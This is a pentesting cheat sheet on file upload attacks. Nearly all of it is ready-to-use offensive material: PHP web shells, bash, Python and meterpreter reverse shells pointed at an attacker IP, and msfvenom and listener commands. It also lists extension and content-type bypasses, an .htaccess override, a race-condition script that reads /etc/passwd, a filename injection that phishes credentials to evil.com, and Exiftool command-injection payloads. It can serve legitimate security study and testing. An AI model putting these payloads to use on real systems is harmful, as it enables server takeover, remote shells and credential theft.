File Upload Attack
Last modified: 2023-03-14
It is often used for gaining access to the target shell using Reverse Shell, or getting sensitive information using Remote Code Execution (RCE).
Check File Extensions We Can Upload
First off, we need to know what file extensions are allowed to be uploaded in the target website.
Try to upload any formats.
.exe
.php, .php3, .php4, .php5, .phtml, .phar
.jpg, .png, .gif
.pdf
Prepare a Payload
Web Shell
For example, the file name is "exploit.php".
// Simply showing the result of 'whoami'.
<?php echo system('whoami'); ?>
// This shows the content of "/etc/passwd".
<?php echo file_get_contents('/etc/passwd'); ?>
// We can execute arbitrary commands by passing the url parameter e.g. "/exploit.php?cmd=whoami"
<?php echo system($_GET['cmd']); ?>
Reverse Shell
-
Option 1
Download the payload from GitHub.
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php -O shell.php # Edit some variables in the payload $ip = '<attacker-ip>' $port = 4444
-
Option 2
If you use Kali or Parrot OS, you can get the script as below.
cat /usr/share/webshells/php/php-reverse-shell.php > shell.php
-
Option 3
<?php shell_exec("/bin/bash -c 'bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1'"); ?>
Then open listener for getting a shell.
nc -lvnp 4444
After uploading it, reload the page in which the payload uploaded e.g. "/upload/shell.php".
Reverse Shell for Windows
First create a malicious executable file using msfvenom.
# -f: Format
# -p: Payload
# -o: Output file
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<local-ip> LPORT=<local-port> -f exe -o cv-username.exe
Next start a listener for getting the target shell.
# -x: Execute command
sudo msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST <local-ip>; set LPORT <local-port>; exploit"
After getting the shell, we will get in the meterpreter, so we need to know the meterpreter’s commands. To get a list of command, run the following in the meterpreter.
# Usage command
meterpreter> ?
Polyglot using Exiftool
It's assumed that you have an arbitrary image file.
exiftool -Comment="<?php system('ls'); ?>" example.png
exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' exploit.png
exiftool -Comment="<?php echo 'START ' . file_get_contents('/etc/passwd') . ' END'; ?>" example.jpg -o polyglot.php
Bypass Upload Validation
Upload the exploit files in the target website e.g. the profile picture's upload form.
In most cases, you need to bypass the file validation.
File Extensions
If you cannot upload the payload with ".php", modify the extension and try it.
exploit.php
exploit.php3
exploit.php4
exploit.php5
exploit.phtml
exploit.phar
exploit.jpg.php
exploit.jpeg.php
exploit.png.php
exploit.gif.php
exploit.pdf.php
exploit.php.
exploit.php.jpg
exploit.php.jpeg
exploit.php.png
exploit%2Ephp
exploit.p.phphp
exploit.php%00.jpg
exploit.php%0d%0a.jpg
exploit.pHp
exploit.php/
exploit.php//
exploit.php\
exploit.php#
exploit..php
Content-Types
If you cannot upload with "Content-Type: application/x-php", try changing it to other types.
------abcdefghijk
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Type: image/jpeg <!-- or image/gif, plain/text, etc. -->
<?php echo system($_GET['cmd']); ?>
------abcdefghijk
Path Traversal with the File Name
You may be able to edit the upload location by changing the "filename".
------abcdefghijk
Content-Disposition: form-data; name="avatar"; filename="..%2fexploit.php"
Content-Type: application/x-php
<?php echo system($_GET['cmd']); ?>
------abcdefghijk
Server Configurations
You may be able to override the ".htaccess".
POST /upload HTTP/1.1
...
------abcdefghijk
Content-Disposition: form-data; name="avatar"; filename=".htaccess"
Content-Type: text/plain
AddType application/x-httpd-php .abc
------abcdefghijk
Camouflage as Image Files
We can also bypass exif_imagetype() of PHP by editing the contents in the payload as image file.
Depending on the case, change the "Content-Type" value to "image/jpeg" or "image/gif".
GIF87a is the original format for indexed color images. It uses LZW compression and has the option of being interlaced.
GIF87a
<?php echo system($_GET['cmd']); ?>
GIF89a is the same, but also includes transparancy and animation capabilities.
GIF89a
<?php echo system($_GET['cmd']); ?>
Regarding GIF87a and GIF89a, refer to this post.
Bypass the Filter (Client-Side & Server-Side)
If the target website uses filter JavaScript around file uploading, you may be able to bypass it by using Burp Suite.
On Burp Suite, click "Proxy" tab and "Options".
# Client-Side
1. Navigate to "Intercept Client Requests" section, click on the top line ("File extension"...) then click "Edit".
2. The popup will open.
3. On the popup, find and remove the "|^js$" in the "Match condition", then save the filter.
# Server-Side
1. Navigate to "Intercept Server Requests" section and check "Intercept responses based on...".
# ----------------------------------------------
1. Turn the intercept on.
2. On browser, press Ctrl+F5 (hard refresh) to reload the page.
3. If you found the filtering file (.js), drop it.
Race Conditions using Turbo Intruder
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=10,)
request_post = '''POST /avatar/upload HTTP/1.1
Host: vulnerable.com
...
...
Connection: close
------abcdefghi
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Type: application/x-php
<?php echo file_get_contents('/etc/passwd'); ?>
------abcdefghijk--
'''
request_get = '''GET /files/avatars/exploit.php HTTP/1.1
Host: vulnerable.com
...
...
Connection: close
'''
engine.queue(request_post, gate='race1')
for i in range(5):
engine.queue(request_get, gate='race1')
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
HTML Injection with Filename
<h1>test.jpg
"><img src=x onerror=alert(document.domain).jpg
"><form action="//evil.com" method="GET"><input type="text" name="username" style="opacity:0;"><input type="password" name="password" style="opacity:0;"><input type="submit" name="submit" value="submit"><!--.jpg
SQL Injection with Filename
--sleep(10).jpg
Other Tips
Magic Bytes
# PNG
89 50 4E 47 ...
# JPEG
FF D8 DD E0 ...
# JPG
FF D8 FF EE ...
Software Vulneratilities
Exiftool
If the website uses Exiftool to analyze uploaded files, we can exploit the vulnerability of Exiftool.
-
Command Injection (Exiftool version < 12.38)
Reference: https://gist.github.com/ert-plus/1414276e4cb5d56dd431c2f0429e4429
We can inject OS command in the filename in POST data when uploading.
# Ping filename="touch test; ping -c 1 10.0.0.1 |" # Reverse shell filename="touch test; bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 |" filename="touch test; bash -c \"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\" |" filename="touch test; python3 -c 'import socket,os,pty;s=socket.socket();s.connect((\"10.0.0.1\", 1234));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"bash\")' |"
ImageMagick
ImageMagick is vulnerable to remote code execution so we can run reverse shell.
The payloads can be used here.